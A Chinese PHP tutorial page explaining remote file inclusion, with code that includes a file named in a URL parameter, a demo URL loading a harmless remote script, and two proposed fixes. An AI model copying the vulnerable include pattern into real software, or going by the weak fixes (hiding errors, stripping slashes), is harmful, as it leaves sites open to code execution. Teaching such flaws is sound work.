PHP 网络开发详解之远程文件包含漏洞


Posted in PHP onApril 25, 2010

以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。

<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
include("$file_name "); //包含文件 
//一些其他操作 
?>

这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。
由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。
<?php 
echo "hello world!"; 
?>

这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。
<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。
第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。
<?php 
$file_name = str_replace('/', '', $_GET["filename"]); //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt 时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。
PHP 相关文章推荐
模板引擎Smarty深入浅出介绍
Dec 06 PHP
在PHP中使用Sockets 从Usenet中获取文件
Jan 10 PHP
php创建多级目录代码
Jun 05 PHP
PHP var_dump遍历对象属性的函数与应用代码
Jun 04 PHP
学习php笔记 字符串处理
Oct 19 PHP
wamp下修改mysql访问密码的解决方法
May 07 PHP
ThinkPHP3.1之D方法实例详解
Jun 20 PHP
PHP中mysqli_affected_rows作用行数返回值分析
Dec 26 PHP
php基于CodeIgniter实现图片上传、剪切功能
May 14 PHP
php微信浏览器分享设置以及回调详解
Aug 01 PHP
PHP编程实现脚本异步执行的方法
Aug 09 PHP
PHP超全局变量实现原理及代码解析
Sep 01 PHP
php快速url重写更新版[需php 5.30以上]
Apr 25 #PHP
PHP CURL模拟GET及POST函数代码
Apr 25 #PHP
php file_get_contents函数轻松采集html数据
Apr 22 #PHP
国外比较好的几个的Php开源建站平台小结
Apr 22 #PHP
PHP最常用的ini函数分析 针对PHP.ini配置文件
Apr 22 #PHP
php allow_url_include的应用和解释
Apr 22 #PHP
php strcmp使用说明
Apr 22 #PHP
You might like
短波问题解答
2021/02/28 无线电
JSChart轻量级图形报表工具(内置函数中文参考)
2010/10/11 Javascript
Javascript处理DOM元素事件实现代码
2012/05/23 Javascript
js中同步与异步处理的方法和区别总结
2013/12/25 Javascript
bootstrap table 服务器端分页例子分享
2015/02/10 Javascript
node.js插件nodeclipse安装图文教程
2020/10/19 Javascript
jQuery限制图片大小的方法
2016/05/25 Javascript
Linux系统中利用node.js提取Word(doc/docx)及PDF文本的内容
2017/06/17 Javascript
vue mint-ui 实现省市区街道4级联动示例(仿淘宝京东收货地址4级联动)
2017/10/16 Javascript
如何优雅的在一台vps(云主机)上面部署vue+mongodb+express项目
2019/01/20 Javascript
JS+php后台实现文件上传功能详解
2019/03/02 Javascript
ElementUI Tree 树形控件的使用并给节点添加图标
2020/02/27 Javascript
基于JavaScript实现猜数字游戏代码实例
2020/07/30 Javascript
vue 解决addRoutes多次添加路由重复的操作
2020/08/04 Javascript
vue组件开发之slider组件使用详解
2020/08/21 Javascript
python通过BF算法实现关键词匹配的方法
2015/03/13 Python
Python文件右键找不到IDLE打开项解决办法
2015/06/08 Python
python实现俄罗斯方块游戏
2020/03/25 Python
python模块导入的细节详解
2018/12/10 Python
在Django admin中编辑ManyToManyField的实现方法
2019/08/09 Python
执行Django数据迁移时报 1091错误及解决方法
2019/10/14 Python
python实现复制文件到指定目录
2019/10/16 Python
python实现七段数码管和倒计时效果
2019/11/23 Python
python输出数学符号实例
2020/05/11 Python
python字典的值可以修改吗
2020/06/29 Python
Python pip 常用命令汇总
2020/10/19 Python
英国领先的在线高尔夫商店:Scottsdale Golf
2019/08/26 全球购物
英国知名小木屋定制网站:Tiger Sheds
2020/03/06 全球购物
澳大利亚领先的女性运动服品牌:Lorna Jane
2020/06/19 全球购物
北大自主招生自荐信
2013/10/19 职场文书
读书活动总结范文
2014/04/26 职场文书
见习报告的格式
2014/10/31 职场文书
试用期工作表现自我评价
2015/03/06 职场文书
乔布斯辞职信(中英文对照)
2015/05/12 职场文书
python字典的元素访问实例详解
2021/07/21 Python
MySQL详细讲解变量variables的用法
2022/06/21 MySQL